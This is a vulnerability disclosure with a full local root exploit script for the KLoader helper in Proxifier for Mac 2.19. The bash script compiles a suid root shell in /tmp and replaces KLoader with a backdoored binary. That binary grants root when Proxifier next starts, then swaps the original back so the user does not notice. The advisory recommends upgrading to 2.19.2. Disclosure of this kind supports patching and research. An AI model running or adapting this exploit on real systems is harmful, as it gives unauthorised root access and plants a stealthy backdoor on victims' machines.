Proxifier For Mac 2.19 Local Privilege Escalation

2017.12.07
Credit: m4rkw
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# With CVE-2017-7643 I disclosed a command injection vulnerablity in the KLoader # binary that ships with Proxifier <= 2.18. # # Unfortunately 2.19 is also vulnerable to a slightly different attack that # yields the same result. # # When Proxifier is first run, if the KLoader binary is not suid root it gets # executed as root by Proxifier.app (the user is prompted to enter an admin # password). The KLoader binary will then make itself suid root so that it # doesn't need to prompt the user again. # # The Proxifier developers added parameter sanitisation and kext signature # verification to the KLoader binary as a fix for CVE-2017-7643 but Proxifier.app # does no verification of the KLoader binary that gets executed as root. # # The directory KLoader sits in is not root-owned so we can replace it with # our own binary that will get executed as root when Proxifier starts. # # To avoid raising any suspicion, as soon we get executed as root we can swap # the real KLoader binary back into place and forward the execution call on # to it. It does require the user to re-enter their credentials the next time # Proxifier is run but it's likely most users wouldn't think anything of this. # # Users should upgrade to version 2.19.2. # # https://m4.rkw.io/proxifier_privesc_219.sh.txt # 3e30f1c7ea213e0ae1f4046e1209124ee79a5bec479fa23d0b2143f9725547ac # ------------------------------------------------------------------- #!/bin/bash ##################################################################### # Local root exploit for vulnerable KLoader binary distributed with # # Proxifier for Mac v2.19 # ##################################################################### # by m4rkw, shouts to #coolkids :P # ##################################################################### cat > a.c <<EOF #include <stdio.h> #include <unistd.h> int main() { setuid(0); seteuid(0); execl("/bin/bash", "bash", NULL); return 0; } EOF gcc -o /tmp/a a.c cat > a.c <<EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main(int ac, char *av[]) { if (geteuid() != 0) { printf("KLoader: UID not set to 0\n"); return 104; } else { seteuid(0); setuid(0); chown("/tmp/a", 0, 0); chmod("/tmp/a", strtol("4755", 0, 8)); rename("/Applications/Proxifier.app/Contents/KLoader2", "/Applications/Proxifier.app/Contents/KLoader"); chown("/Applications/Proxifier.app/Contents/KLoader", 0, 0); chmod("/Applications/Proxifier.app/Contents/KLoader", strtol("4755", 0, 8)); execv("/Applications/Proxifier.app/Contents/KLoader", av); return 0; } } EOF mv -f /Applications/Proxifier.app/Contents/KLoader /Applications/Proxifier.app/Contents/KLoader2 gcc -o /Applications/Proxifier.app/Contents/KLoader a.c rm -f a.c echo "Backdoored KLoader installed, the next time Proxifier starts /tmp/a will become suid root."


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